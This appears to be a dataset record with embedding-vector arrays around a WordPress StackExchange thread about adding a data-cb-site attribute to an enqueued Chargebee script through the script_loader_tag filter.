-0.0295257568359375, 0.003814697265625, -0.038604736328125, 0.04168701171875, 0.01064300537109375, 0.005306243896484375, 0.017333984375, 0.001262664794921875, -0.039703369140625, -0.005649566650390625, 0.0070648193359375, -0.018890380859375, -0.031280517578125, -0.0003006458282470703, -0.0199127197265625, 0.037933349609375, -0.0168914794921875, -0.033966064453125, -0.005992889404296875, 0.0462646484375, -0.035064697265625, 0.0120697021484375, 0.0208740234375, 0.00069427490234375, 0.01470184326171875, -0.028472900390625, -0.060455322265625, -0.0340576171875, -0.055450439453125, -0.05352783203125, -0.0245361328125, 0.024261474609375, 0.00983428955078125, 0.008056640625, 0.0225982666015625, 0.01010894775390625, -0.0001533031463623047, 0.026031494140625, 0.0031681060791015625, 0.024383544921875, -0.0095062255859375, 0.0009369850158691406, 0.006076812744140625, 0.045623779296875, -0.0179901123046875, -0.05328369140625, -0.0138702392578125, -0.004802703857421875, -0.032989501953125, -0.053680419921875, 0.008758544921875, 0.00382232666015625, 0.004619598388671875, 0.037628173828125, 0.0121612548828125, 0.01250457763671875, 0.0282745361328125, -0.004444122314453125, 0.018280029296875, -0.032196044921875, -0.021240234375, -0.052154541015625, -0.00628662109375, -0.006885528564453125, -0.052093505859375, 0.04473876953125, 0.0009703636169433594, 0.008453369140625, 0.06048583984375, -0.06439208984375, 0.0487060546875, 0.055084228515625, -0.013397216796875, 0.0260772705078125, 0.0233154296875, -0.0123443603515625, -0.016876220703125, 0.01476287841796875, -0.0161590576171875, -0.034912109375, 0.0227813720703125, 0.0172576904296875, 0.038116455078125, 0.02215576171875, -0.01373291015625, 0.0137786865234375, -0.01377105712890625, -0.01012420654296875, -0.0081024169921875, 0.029998779296875, 0.043060302734375, -0.07806396484375, 0.002681732177734375, 0.01074981689453125, -0.016265869140625, -0.0279998779296875, -0.009063720703125, -0.004398345947265625, -0.05084228515625, 0.03692626953125, -0.0215911865234375, -0.0168609619140625, 0.00827789306640625, -0.02044677734375, -0.012786865234375, -0.01251983642578125, 0.0390625, 0.036285400390625, 0.0021820068359375, -0.005008697509765625, 0.0002732276916503906, 0.01529693603515625, -0.04791259765625, -0.0055389404296875, 0.031402587890625, -0.0012493133544921875, -0.045318603515625, 0.060394287109375, -0.01035308837890625, 0.019866943359375, 0.0195465087890625, 0.0340576171875, 0.0123443603515625, 0.049896240234375, -0.005138397216796875, 0.01502227783203125, 0.0029773712158203125, 0.00476837158203125, 0.01393890380859375, 0.0056610107421875, 0.0226898193359375, 0.037017822265625, 0.0189056396484375, 0.0023193359375, 0.01461029052734375, 0.00009971857070922852, -0.0009937286376953125, 0.007114410400390625, 0.056854248046875, -0.0113067626953125, -0.0255126953125, 0.034759521484375, 0.00368499755859375, -0.006755828857421875, -0.0166015625, 0.059234619140625, -0.06396484375, -0.01180267333984375, 0.00963592529296875, 0.015899658203125, -0.0227813720703125, -0.015411376953125, -0.06292724609375, 0.0994873046875, 0.0222320556640625, -0.00852203369140625, -0.0255584716796875, 0.05987548828125, -0.047943115234375, 0.01898193359375, -0.04736328125, 0.042022705078125, 0.005596160888671875, 0.008819580078125, -0.05694580078125, 0.005054473876953125, -0.01349639892578125, 0.0198974609375, 0.013153076171875, -0.004528045654296875, -0.0246124267578125, -0.006237030029296875, 0.0017681121826171875, 0.002773284912109375, -0.020172119140625, 0.04150390625, 0.028961181640625, -0.03839111328125, 0.006252288818359375, 0.040283203125, 0.040740966796875, -0.027435302734375, -0.0265045166015625, 0.03399658203125, 0.01195526123046875, 0.00867462158203125, 0.0085601806640625, -0.0070343017578125, 0.0175018310546875, -0.01395416259765625, -0.007297515869140625, -0.031341552734375, -0.06805419921875, 0.05487060546875, 0.01123046875, -0.04571533203125, -0.0030536651611328125, -0.04644775390625, 0.044158935546875, 0.0204010009765625, 0.047943115234375, 0.0175933837890625, 0.001636505126953125, 0.052642822265625, 0.0246429443359375, 0.038421630859375, 0.04364013671875, -0.0157012939453125, 0.0654296875, 0.01383209228515625, 0.0119476318359375, -0.034576416015625, -0.0187225341796875, 0.0230255126953125, 0.06597900390625, -0.030975341796875, -0.056793212890625, -0.0038280487060546875, 0.0256195068359375, 0.0491943359375, 0.011810302734375, 0.05426025390625, -0.00027561187744140625, 0.042327880859375, 0.0115814208984375, -0.026397705078125, -0.019500732421875, 0.041595458984375, 0.0099945068359375, 0.0096588134765625, -0.00431060791015625, -0.057464599609375, -0.056549072265625, 0.03082275390625, 0.0185546875, 0.07342529296875, 0.0186004638671875, 0.074951171875, -0.0302886962890625, -0.0386962890625, -0.03277587890625, 0.0132904052734375, 0.02215576171875, 0.026519775390625, -0.042205810546875, -0.0015926361083984375, 0.03924560546875, 0.034332275390625, -0.026947021484375, 0.038421630859375, 0.0280914306640625, 0.0693359375, 0.050201416015625, -0.0291748046875, 0.0109405517578125, -0.007595062255859375, -0.034393310546875, -0.04150390625, -0.0104522705078125, 0.018218994140625, 0.012481689453125, -0.01012420654296875, 0.029693603515625, 0.016326904296875, -0.01525115966796875, 0.039215087890625, 0.0037593841552734375, -0.03631591796875, 0.04229736328125, -0.0186004638671875, 0.07720947265625, 0.0179290771484375, -0.01519775390625, -0.01131439208984375, 0.01364898681640625, -0.03912353515625, 0.003997802734375, 0.04180908203125, -0.0012311935424804688, -0.00940704345703125, 0.00179290771484375, -0.0271453857421875, 0.04937744140625, -0.0208740234375, 0.0067291259765625, 0.0118560791015625, 0.006275177001953125, -0.0206756591796875, -0.046173095703125, -0.0164794921875, -0.0092010498046875, 0.020294189453125, -0.01727294921875, 0.09979248046875, -0.0107269287109375, -0.0013570785522460938, -0.045440673828125, 0.041717529296875, -0.0625, -0.0592041015625, 0.01245880126953125, 0.041290283203125, 0.043975830078125, -0.002086639404296875, -0.05718994140625, 0.0264739990234375, 0.0055084228515625, -0.00015151500701904297, 0.01299285888671875, 0.007671356201171875, 0.00832366943359375, 0.016143798828125, -0.004650115966796875, -0.02935791015625, -0.0128021240234375, -0.0396728515625, -0.022064208984375, 0.0189971923828125, 0.021820068359375, 0.0252838134765625, 0.0229034423828125, 0.0308380126953125, -0.00655364990234375, 0.0108489990234375, -0.0214080810546875, -0.0051116943359375, 0.0284881591796875, 0.0270538330078125, 0.040283203125, 0.0068511962890625, -0.016204833984375, 0.027923583984375, 0.00359344482421875, -0.032257080078125, 0.037689208984375, -0.02716064453125, -0.020111083984375, 0.0208740234375, 0.033233642578125, -0.027496337890625, 0.01399993896484375, 0.0198211669921875, -0.0117950439453125, 0.0159912109375, 0.041900634765625, -0.028472900390625, -0.039764404296875, -0.0009322166442871094, -0.002655029296875, -0.0290985107421875, -0.02813720703125, -0.072265625, -0.0242156982421875, 0.0361328125, -0.0027790069580078125, -0.0274658203125, 0.033233642578125, -0.01175689697265625, -0.012359619140625, 0.00887298583984375, -0.0168304443359375, 0.009429931640625, 0.00557708740234375, -0.06158447265625, 0.0271453857421875, -0.05279541015625, -0.053924560546875, -0.037353515625, 0.0478515625, 0.0584716796875, -0.046417236328125, 0.0082550048828125, 0.025482177734375, 0.05230712890625, 0.06011962890625, 0.0211334228515625, 0.0105438232421875, 0.0291290283203125, 0.0169525146484375, -0.053863525390625, -0.08544921875, 0.0097198486328125, -0.030975341796875, 0.0084991455078125, 0.00136566162109375, -0.0136260986328125, -0.00118255615234375, -0.04681396484375, -0.078857421875, -0.0028476715087890625, 0.0135498046875, -0.043975830078125, 0.0204620361328125, 0.002117156982421875, -0.03289794921875, 0.038604736328125, 0.00305938720703125, 0.027801513671875, 0.027740478515625, 0.0204620361328125, 0.0156402587890625, 0.036529541015625, 0.029083251953125, -0.005100250244140625, -0.0224761962890625, 0.01447296142578125, -0.00467681884765625, 0.019012451171875, 0.0005807876586914062, 0.0047454833984375, -0.00394439697265625, 0.01525115966796875, -0.0439453125, -0.0745849609375, -0.030548095703125, 0.0217132568359375, 0.010589599609375, -0.033538818359375, -0.040557861328125, -0.0252227783203125, 0.037628173828125, 0.041168212890625, 0.0004968643188476562, -0.00864410400390625, 0.040313720703125, 0.0100860595703125, -0.023284912109375, 0.0003905296325683594, 0.006885528564453125, -0.031524658203125, -0.0234375, 0.01274871826171875, -0.0003895759582519531, 0.0216827392578125, -0.0122528076171875, -0.0115203857421875, -0.0110321044921875, -0.044342041015625, -0.04034423828125, -0.036529541015625, -0.0267791748046875, 0.009246826171875, -0.035308837890625, -0.06689453125, 0.01558685302734375, 0.0189361572265625, -0.054901123046875, -0.002704620361328125, -0.052886962890625, 0.00965118408203125, 0.00021791458129882812, 0.0267181396484375, -0.020172119140625, 0.036468505859375, -0.0210723876953125, 0.033050537109375, -0.0321044921875, -0.0088348388671875, 0.017913818359375, -0.0262298583984375, -0.03076171875, 0.030181884765625, 0.021209716796875, 0.0413818359375, 0.0254974365234375, -0.0026607513427734375, -0.00884246826171875, 0.06146240234375, 0.009429931640625, -0.055023193359375, 0.002117156982421875, -0.0533447265625, 0.01413726806640625, 0.0345458984375, 0.0374755859375, -0.00316619873046875, -0.0008692741394042969, -0.037750244140625, 0.02484130859375, -0.0035037994384765625 ]
59941428d8b296b2e0c0824ce5cfe84ea8bfac3d
Wordpress Stackexchange Q: Enqueue Script with data attributes I am looking to enqueue this script on the header of a wordpress page <script src="https://js.chargebee.com/v2/chargebee.js" data-cb-site="mydomainame" ></script> I know how to use function wp_mk_scripts() { if( is_page(11) ){ wp_enqueue_script( 'chargebee', 'https://js.chargebee.com/v2/chargebee.js', array(), '2', false ); } } add_action( 'wp_enqueue_scripts', 'wp_mk_scripts' ); but how do I add the parameter data-cb-site="mydomainame" ? A: Please try code given below: function add_data_attribute($tag, $handle) { if ( 'chargebee' !== $handle ) return $tag; return str_replace( ' src', ' data-cb-site="mydomainame" src', $tag ); } add_filter('script_loader_tag', 'add_data_attribute', 10, 2);
Q: Enqueue Script with data attributes I am looking to enqueue this script on the header of a wordpress page <script src="https://js.chargebee.com/v2/chargebee.js" data-cb-site="mydomainame" ></script> I know how to use function wp_mk_scripts() { if( is_page(11) ){ wp_enqueue_script( 'chargebee', 'https://js.chargebee.com/v2/chargebee.js', array(), '2', false ); } } add_action( 'wp_enqueue_scripts', 'wp_mk_scripts' ); but how do I add the parameter data-cb-site="mydomainame" ? A: Please try code given below: function add_data_attribute($tag, $handle) { if ( 'chargebee' !== $handle ) return $tag; return str_replace( ' src', ' data-cb-site="mydomainame" src', $tag ); } add_filter('script_loader_tag', 'add_data_attribute', 10, 2); A: function wp_mk_scripts() { if ( is_page('331') ) { wp_enqueue_script( 'chargebee', 'https://js.chargebee.com/v2/chargebee.js', array(), 2.0 , false); } } add_action( 'wp_enqueue_scripts', 'wp_mk_scripts' ); add_filter('script_loader_tag', 'add_attributes_to_script', 10, 3); function add_attributes_to_script( $tag, $handle, $src ) { if ( 'chargebee.js' === $handle ) { $tag = '<script type="text/javascript" src="' . esc_url( $src ) . '" data-cb-site="mydomainame" ></script>'; } return $tag; } Based on the answer of the sample thread posted by kero - However this doesn't work - i do not get the attribute loaded.
wordpress
{ "language": "en", "length": 170, "provenance": "stackexchange_00019.jsonl.gz:488771", "question_score": "4", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/312147" }
[ 0.046356201171875, -0.025054931640625, -0.0224456787109375, -0.0562744140625, 0.008636474609375, -0.037689208984375, 0.043487548828125, 0.047332763671875, -0.004146575927734375, -0.00986480712890625, -0.05047607421875, 0.024505615234375, -0.0283660888671875, -0.006641387939453125, 0.02642822265625, -0.04571533203125, 0.048492431640625, -0.01325225830078125, 0.0273590087890625, 0.0036296844482421875, 0.0289459228515625, 0.0279083251953125, -0.0012359619140625, 0.06817626953125, -0.0016775131225585938, -0.00589752197265625, 0.06903076171875, -0.0018157958984375, -0.0211181640625, -0.0256805419921875, 0.01422882080078125, 0.00716400146484375, 0.0160980224609375, 0.03961181640625, -0.03857421875, 0.051116943359375, 0.04266357421875, 0.0014142990112304688, 0.037384033203125, 0.0197601318359375, 0.032562255859375, -0.017242431640625, -0.0137939453125, 0.052337646484375, -0.00649261474609375, -0.0621337890625, 0.0247802734375, -0.046905517578125, -0.003765106201171875, 0.01476287841796875, 0.0050506591796875, -0.0033779144287109375, 0.006092071533203125, 0.0198974609375, 0.015228271484375, 0.04986572265625, -0.0283050537109375, -0.0504150390625, -0.0092620849609375, 0.11627197265625, 0.044952392578125, 0.01593017578125, -0.0311126708984375, -0.06927490234375, -0.036956787109375, 0.005443572998046875, 0.031341552734375, -0.0245513916015625, -0.0227508544921875, -0.028778076171875, 0.0482177734375, 0.0086669921875, 0.0027256011962890625, -0.00616455078125, -0.01617431640625, -0.0287322998046875, 0.009429931640625, -0.0040740966796875, 0.0064849853515625, -0.0012693405151367188, 0.0225982666015625, -0.0157623291015625, 0.00824737548828125, -0.0186309814453125, 0.0206756591796875, 0.0182647705078125, 0.00018167495727539062, -0.006099700927734375, 0.00621795654296875, 0.0024547576904296875, -0.03179931640625, -0.00528717041015625, 0.04180908203125, -0.0188751220703125, -0.0506591796875, -0.0018815994262695312, 0.0404052734375, 0.03399658203125, 0.05352783203125, 0.049835205078125, 0.0255584716796875, -0.0711669921875, 0.053314208984375, -0.0430908203125, 0.00983428955078125, 0.047576904296875, -0.03070068359375, -0.054168701171875, 0.0218505859375, 0.0249176025390625, 0.01318359375, 0.009857177734375, 0.0247039794921875, 0.03271484375, -0.055267333984375, -0.032440185546875, -0.0290374755859375, 0.0010881423950195312, -0.0143585205078125, 0.01702880859375, 0.00745391845703125, 0.037872314453125, -0.03851318359375, -0.006618499755859375, 0.003398895263671875, -0.007457733154296875, -0.0001665353775024414, -0.003917694091796875, -0.02386474609375, 0.0008769035339355469, 0.0018367767333984375, 0.02105712890625, 0.02508544921875, 0.0278167724609375, -0.012481689453125, 0.003360748291015625, 0.047332763671875, -0.026458740234375, -0.040252685546875, 0.016326904296875, 0.0113677978515625, -0.0262298583984375, -0.037811279296875, -0.0194244384765625, 0.00981903076171875, -0.003253936767578125, -0.00047469139099121094, 0.0105438232421875, 0.0251617431640625, -0.007152557373046875, -0.001911163330078125, -0.0058746337890625, 0.0157012939453125, -0.0027618408203125, -0.0038967132568359375, -0.0022373199462890625, 0.01377105712890625, -0.0093994140625, -0.0084228515625, -0.00487518310546875, -0.035675048828125, -0.0012331008911132812, 0.0053558349609375, -0.0249481201171875, -0.006561279296875, -0.0211944580078125, 0.0404052734375, 0.011077880859375, 0.0265045166015625, 0.034271240234375, -0.0175323486328125, -0.026519775390625, 0.0160675048828125, 0.00028228759765625, -0.031463623046875, 0.01239776611328125, 0.005725860595703125, 0.051788330078125, 0.041290283203125, -0.0265045166015625, -0.016693115234375, -0.0494384765625, 0.10174560546875, -0.040557861328125, -0.07171630859375, 0.056915283203125, -0.005481719970703125, 0.0662841796875, 0.019317626953125, 0.00714874267578125, 0.058990478515625, 0.0108795166015625, -0.0240325927734375, 0.01161956787109375, -0.01111602783203125, -0.0232696533203125, 0.0293731689453125, 0.0228118896484375, 0.00024819374084472656, -0.0097198486328125, 0.00849151611328125, 0.0136566162109375, 0.0016040802001953125, -0.004688262939453125, -0.0263671875, 0.01399993896484375, -0.01263427734375, 0.04449462890625, -0.0217132568359375, -0.01203155517578125, 0.006069183349609375, -0.018768310546875, -0.01306915283203125, 0.00156402587890625, -0.003662109375, 0.01448822021484375, -0.01381683349609375, 0.10992431640625, 0.0006971359252929688, 0.030181884765625, -0.0001569986343383789, -0.057769775390625, 0.033660888671875, -0.0013456344604492188, 0.01399993896484375, 0.0026950836181640625, -0.0262298583984375, -0.006649017333984375, 0.028717041015625, 0.0078582763671875, -0.0005707740783691406, 0.0249176025390625, 0.0288848876953125, 0.06890869140625, 0.004413604736328125, -0.04052734375, -0.018524169921875, -0.07562255859375, 0.0269622802734375, 0.052001953125, 0.0516357421875, 0.050994873046875, 0.0033473968505859375, 0.005218505859375, 0.033966064453125, -0.051849365234375, 0.0201263427734375, -0.0160369873046875, 0.0189056396484375, 0.029327392578125, -0.01291656494140625, -0.01239776611328125, 0.0275726318359375, -0.07733154296875, -0.007110595703125, 0.042205810546875, -0.04840087890625, 0.0017404556274414062, -0.03509521484375, -0.0070343017578125, 0.01557159423828125, -0.005168914794921875, 0.0213623046875, -0.01502227783203125, 0.0193328857421875, 0.006175994873046875, 0.0254364013671875, 0.0197296142578125, -0.0134735107421875, -0.01323699951171875, 0.019989013671875, 0.0159759521484375, -0.0173187255859375, 0.024810791015625, 0.05657958984375, -0.01091766357421875, -0.043487548828125, -0.0012722015380859375, 0.0161895751953125, 0.0187530517578125, 0.00875091552734375, 0.05682373046875, -0.0277557373046875, -0.00986480712890625, -0.0302581787109375, -0.03607177734375, -0.011505126953125, 0.017486572265625, -0.0122833251953125, -0.032745361328125, 0.0010824203491210938, 0.0228271484375, -0.0258636474609375, 0.03033447265625, 0.024383544921875, -0.030548095703125, 0.035247802734375, 0.0002608299255371094, 0.0305023193359375, -0.01093292236328125, 0.0423583984375, 0.05810546875, -0.014404296875, 0.0300140380859375, -0.00487518310546875, 0.01334381103515625, -0.016357421875, 0.0162506103515625, 0.0057525634765625, -0.052642822265625, -0.00476837158203125, 0.01230621337890625, 0.03265380859375, 0.052825927734375, 0.0148773193359375, -0.0291290283203125, -0.0008525848388671875, 0.046783447265625, -0.0770263671875, -0.112060546875, 0.06573486328125, -0.037353515625, 0.0205230712890625, -0.0209197998046875, -0.006626129150390625, -0.039398193359375, 0.017425537109375, -0.00670623779296875, -0.051177978515625, 0.0122222900390625, -0.004634857177734375, -0.022491455078125, -0.027587890625, 0.0211334228515625, -0.006542205810546875, 0.0184326171875, 0.00975799560546875, 0.010009765625, -0.005229949951171875, -0.02301025390625, 0.0117645263671875, -0.021392822265625, -0.0163726806640625, -0.03167724609375, 0.05023193359375, -0.06787109375, -0.0118408203125, -0.010162353515625, -0.036285400390625, 0.023284912109375, -0.01200103759765625, 0.0013914108276367188, -0.051025390625, 0.00591278076171875, -0.007198333740234375, -0.0176544189453125, 0.046417236328125, 0.0229644775390625, 0.01617431640625, -0.017974853515625, -0.018768310546875, 0.03717041015625, -0.01070404052734375, -0.038665771484375, -0.0027599334716796875, -0.036834716796875, -0.015899658203125, 0.010955810546875, 0.0274200439453125, -0.00914764404296875, -0.00537109375, 0.01025390625, 0.005771636962890625, -0.0078277587890625, 0.018768310546875, -0.0205078125, 0.039215087890625, -0.0107421875, 0.040863037109375, 0.0214996337890625, -0.0005736351013183594, -0.0121917724609375, -0.01154327392578125, -0.05120849609375, -0.0010175704956054688, 0.01531982421875, 0.00021278858184814453, 0.04962158203125, -0.0092315673828125, -0.0174713134765625, 0.0036182403564453125, 0.06768798828125, -0.0194549560546875, -0.01218414306640625, 0.003749847412109375, 0.0205230712890625, -0.0592041015625, -0.01168060302734375, -0.02630615234375, -0.00011289119720458984, -0.06494140625, 0.00595855712890625, -0.01178741455078125, -0.0194244384765625, -0.042510986328125, -0.018707275390625, -0.054840087890625, -0.03851318359375, 0.042572021484375, -0.074951171875, -0.019775390625, 0.0340576171875, -0.033905029296875, -0.0024242401123046875, -0.042633056640625, -0.018890380859375, -0.031280517578125, -0.00740814208984375, -0.0288238525390625, 0.041229248046875, 0.030609130859375, -0.0479736328125, -0.00490570068359375, 0.01399993896484375, -0.0154266357421875, 0.035614013671875, -0.005153656005859375, 0.00899505615234375, 0.01727294921875, -0.01256561279296875, -0.019378662109375, -0.016265869140625, -0.029998779296875, -0.0252532958984375, 0.0083465576171875, 0.019012451171875, -0.01029205322265625, -0.0287322998046875, -0.0023956298828125, -0.00968170166015625, -0.061187744140625, -0.0142822265625, 0.0347900390625, -0.0290985107421875, 0.0111846923828125, -0.013427734375, 0.0131683349609375, -0.014404296875, 0.0208282470703125, -0.01444244384765625, 0.0307159423828125, 0.002681732177734375, 0.061248779296875, 0.01355743408203125, -0.01136016845703125, 0.0148468017578125, 0.025360107421875, 0.00449371337890625, 0.0040283203125, 0.0692138671875, -0.0023651123046875, 0.01251220703125, 0.03564453125, -0.033447265625, 0.053924560546875, -0.02484130859375, 0.0287017822265625, 0.041107177734375, 0.03204345703125, -0.0038509368896484375, 0.0853271484375, -0.06671142578125, -0.009613037109375, -0.0188140869140625, 0.0090484619140625, -0.00051116943359375, 0.002414703369140625, -0.00870513916015625, 0.007358551025390625, -0.008544921875, -0.0021533966064453125, -0.013519287109375, 0.028076171875, 0.035888671875, 0.029815673828125, 0.01020050048828125, -0.01617431640625, 0.0274658203125, 0.0145263671875, 0.009307861328125, 0.024810791015625, -0.03759765625, 0.057464599609375, -0.01422119140625, 0.0014543533325195312, -0.00911712646484375, -0.0018606185913085938, 0.041259765625, 0.01397705078125, -0.029144287109375, -0.051422119140625, 0.006923675537109375, 0.070556640625, -0.024627685546875, 0.03729248046875, -0.0014295578002929688, 0.034576416015625, 0.007465362548828125, 0.00033664703369140625, 0.032379150390625, 0.03802490234375, 0.0007262229919433594, 0.015899658203125, 0.001743316650390625, -0.0202789306640625, -0.0318603515625, 0.041595458984375, 0.024078369140625, -0.005893707275390625, -0.00936126708984375, 0.039154052734375, 0.03216552734375, 0.0396728515625, 0.022674560546875, -0.02545166015625, -0.021575927734375, 0.05926513671875, -0.028106689453125, -0.0081634521484375, 0.05316162109375, -0.013031005859375, -0.010101318359375, -0.01369476318359375, -0.0292205810546875, 0.0574951171875, -0.0274505615234375, -0.00865936279296875, 0.029998779296875, 0.006389617919921875, -0.019317626953125, -0.01203155517578125, -0.03338623046875, 0.005645751953125, 0.003265380859375, 0.03143310546875, 0.016845703125, 0.03448486328125, 0.0272674560546875, 0.0112762451171875, 0.02471923828125, -0.034088134765625, -0.027130126953125, 0.0029468536376953125, 0.0022106170654296875, -0.01727294921875, -0.0224456787109375, -0.030914306640625, 0.006793975830078125, 0.0023937225341796875, 0.0286407470703125, -0.0099945068359375, 0.021392822265625, -0.032073974609375, -0.0164794921875, -0.021331787109375, -0.0011816024780273438, 0.072998046875, 0.034881591796875, -0.02655029296875, -0.023681640625, -0.060699462890625, -0.0247955322265625, -0.0136260986328125, -0.0265960693359375, -0.0074005126953125, 0.0049285888671875, -0.00833892822265625, 0.038665771484375, -0.052520751953125, -0.06610107421875, 0.026885986328125, 0.00911712646484375, 0.012359619140625, 0.049407958984375, -0.04559326171875, 0.0635986328125, 0.0259246826171875, 0.016754150390625, 0.0006937980651855469, 0.03173828125, 0.0240325927734375, -0.0106048583984375, 0.016845703125, -0.059600830078125, -0.009613037109375, -0.0309295654296875, -0.0017108917236328125, -0.0006136894226074219, 0.0189056396484375, -0.0017833709716796875, 0.0343017578125, 0.004985809326171875, -0.0102691650390625, -0.006134033203125, 0.0011892318725585938, 0.006626129150390625, 0.0455322265625, 0.02435302734375, 0.0013360977172851562, 0.0160980224609375, -0.0203704833984375, 0.00402069091796875, 0.007659912109375, -0.0198822021484375, 0.0205841064453125, -0.0262298583984375, -0.11785888671875, 0.10498046875, 0.09442138671875, 0.0123443603515625, 0.0304412841796875, -0.0254058837890625, -0.0139312744140625, -0.01129150390625, 0.01129150390625, -0.0225982666015625, -0.033935546875, 0.05621337890625, -0.00629425048828125, -0.061309814453125, 0.0236663818359375, -0.04144287109375, -0.00975799560546875, -0.049896240234375, -0.0035400390625, 0.01413726806640625, 0.024322509765625, -0.033782958984375, -0.039398193359375, -0.014495849609375, -0.018646240234375, 0.0023040771484375, -0.03350830078125, 0.0266265869140625, 0.044158935546875, -0.0179443359375, 0.004276275634765625, 0.019317626953125, -0.0238800048828125, -0.0286712646484375, -0.025970458984375, 0.0166473388671875, 0.0286712646484375, 0.0265960693359375, -0.014739990234375, 0.022796630859375, 0.00858306884765625, 0.02520751953125, 0.0008187294006347656, -0.0226593017578125, -0.051361083984375, -0.0177154541015625, -0.0175628662109375, -0.046722412109375, -0.0511474609375, -0.00682830810546875, 0.08306884765625, 0.021148681640625, 0.018463134765625, -0.060760498046875, 0.0057373046875, 0.036956787109375, 0.00870513916015625, -0.03253173828125, 0.034088134765625, 0.020843505859375, -0.035064697265625, 0.01328277587890625, 0.0089263916015625, -0.045013427734375, -0.005725860595703125, -0.0225372314453125, 0.0017690658569335938, -0.025299072265625, -0.01007080078125, 0.03167724609375, -0.006534576416015625, -0.007442474365234375, -0.024810791015625, 0.041351318359375, -0.06390380859375, -0.047393798828125, 0.006351470947265625, -0.06243896484375, -0.0233001708984375, -0.03948974609375, -0.0347900390625, 0.1041259765625, -0.006725311279296875, 0.0254974365234375, 0.01129913330078125, 0.039886474609375, -0.0067291259765625, 0.030914306640625, -0.007747650146484375, 0.046051025390625, -0.00629425048828125, 0.0423583984375, -0.032501220703125, -0.017608642578125, 0.033538818359375, 0.062225341796875, 0.0447998046875, 0.003955841064453125, 0.0282440185546875, -0.02069091796875, -0.0082550048828125, 0.0124969482421875, -0.0290069580078125, -0.00626373291015625, 0.002384185791015625, 0.019378662109375, -0.0067596435546875, -0.042999267578125, 0.014739990234375, -0.06494140625, -0.0268707275390625, 0.036834716796875, -0.005702972412109375, 0.004730224609375, -0.0284881591796875, -0.00511932373046875, 0.004150390625, -0.013702392578125, -0.0169525146484375, 0.0029354095458984375, -0.0265045166015625, 0.0217132568359375, -0.01580810546875, -0.007602691650390625, -0.086181640625, -0.00359344482421875, 0.00928497314453125, 0.00811004638671875, 0.021820068359375, 0.0231475830078125, 0.0235748291015625, 0.0079498291015625, 0.012481689453125, 0.0158843994140625, 0.0280303955078125, -0.044677734375, 0.0122833251953125, 0.01629638671875, 0.01297760009765625, -0.044189453125, -0.007297515869140625, 0.037322998046875, 0.030670166015625, -0.0307159423828125, 0.021240234375, -0.0015916824340820312, 0.0223236083984375, 0.01027679443359375, -0.034881591796875, 0.0341796875, 0.0190277099609375, 0.0115203857421875, -0.002025604248046875, 0.0005369186401367188, 0.0005574226379394531, 0.027069091796875, 0.006298065185546875, 0.0274505615234375, -0.04620361328125, 0.006031036376953125, -0.06927490234375, 0.02874755859375, 0.01369476318359375, 0.09271240234375, 0.0270843505859375, 0.0679931640625, -0.0438232421875, -0.059661865234375, -0.0197296142578125, 0.04986572265625, 0.0011730194091796875, 0.031829833984375, -0.05206298828125, -0.0298919677734375, -0.0206451416015625, 0.039154052734375, 0.005176544189453125, 0.00809478759765625, 0.03472900390625, 0.01580810546875, -0.060699462890625, -0.0114288330078125, 0.068115234375, -0.02789306640625, 0.051727294921875, 0.006221771240234375, -0.0094757080078125, -0.003475189208984375, -0.039154052734375, -0.0274658203125, 0.032073974609375, 0.008575439453125, 0.004909515380859375, 0.005115509033203125, 0.003993988037109375, -0.04180908203125, -0.0228118896484375, 0.0254058837890625, 0.06329345703125, 0.0345458984375, -0.03466796875, -0.0176849365234375, -0.01064300537109375, -0.0131072998046875, 0.01436614990234375, 0.04461669921875, 0.015899658203125, 0.005260467529296875, 0.047637939453125, -0.0222320556640625, 0.0197601318359375, 0.0426025390625, -0.0268402099609375, 0.0166168212890625, 0.07110595703125, 0.00826263427734375, 0.023651123046875, 0.003971099853515625, 0.067138671875, 0.01126861572265625, 0.00897979736328125, -0.01499176025390625, 0.0091552734375, -0.007717132568359375, 0.03509521484375, 0.0005116462707519531, 0.041412353515625, 0.02947998046875, -0.002628326416015625, 0.0214691162109375, 0.024810791015625, -0.034088134765625, -0.004833221435546875, 0.0401611328125, -0.01436614990234375, 0.007762908935546875, -0.00637054443359375, -0.0165252685546875, 0.0196075439453125, 0.046539306640625, 0.0181121826171875, -0.0286102294921875, -0.056549072265625, -0.039947509765625, 0.01111602783203125, 0.00446319580078125, 0.042449951171875, -0.0022144317626953125, -0.00018215179443359375, 0.036407470703125, 0.01153564453125, 0.00946044921875, 0.0276336669921875, 0.0125579833984375, 0.010589599609375, -0.002208709716796875, -0.0013723373413085938, 0.025115966796875, -0.014892578125, 0.03375244140625, -0.003643035888671875, 0.03851318359375, 0.01065826416015625, -0.04595947265625, 0.01079559326171875, 0.08441162109375, 0.06396484375, 0.03289794921875, 0.045074462890625, 0.033355712890625, -0.039886474609375, -0.012481689453125, 0.00809478759765625, -0.025634765625, -0.0219879150390625, -0.0006012916564941406, 0.00679779052734375, -0.00862884521484375, -0.0526123046875, -0.0772705078125, 0.002536773681640625, 0.045318603515625, -0.00678253173828125, -0.03509521484375, 0.0192718505859375, -0.0687255859375, 0.036376953125, -0.00766754150390625, 0.0430908203125, -0.003108978271484375, 0.0277862548828125, -0.0870361328125, -0.040985107421875, -0.0281982421875, 0.01666259765625, -0.0274658203125, 0.0213623046875, 0.0413818359375, -0.024444580078125, 0.01262664794921875, 0.025115966796875, 0.034759521484375, 0.07379150390625, -0.0138092041015625, -0.0200653076171875, -0.0011739730834960938, 0.0261993408203125, -0.001850128173828125, -0.08331298828125, -0.01367950439453125, -0.047027587890625, 0.0249481201171875, -0.0309295654296875, 0.01041412353515625, 0.0134429931640625, -0.0245513916015625, -0.0033359527587890625, 0.07867431640625, 0.00482940673828125, -0.0030994415283203125, -0.005340576171875, -0.0285491943359375, 0.007747650146484375, -0.0033817291259765625, -0.00994110107421875, -0.03338623046875, -0.04571533203125, 0.0003154277801513672, 0.01922607421875, 0.0158843994140625, 0.05157470703125, -0.042938232421875, -0.022308349609375, -0.007144927978515625, 0.01390838623046875, 0.04681396484375, -0.01526641845703125, -0.00269317626953125, 0.01107025146484375, 0.03173828125, -0.016357421875, -0.059173583984375, -0.0057373046875, -0.0330810546875, -0.021881103515625, -0.0036602020263671875, -0.0118865966796875, 0.01305389404296875, 0.08526611328125, 0.0400390625, 0.01654052734375, -0.034759521484375, -0.0039520263671875, -0.0121307373046875, -0.01462554931640625, -0.001728057861328125, 0.005126953125, -0.033660888671875, 0.01226806640625, -0.003932952880859375, -0.0166015625, -0.0252227783203125, -0.00812530517578125, -0.0418701171875, -0.00452423095703125, 0.02923583984375, 0.01479339599609375, -0.00290679931640625, -0.005924224853515625, 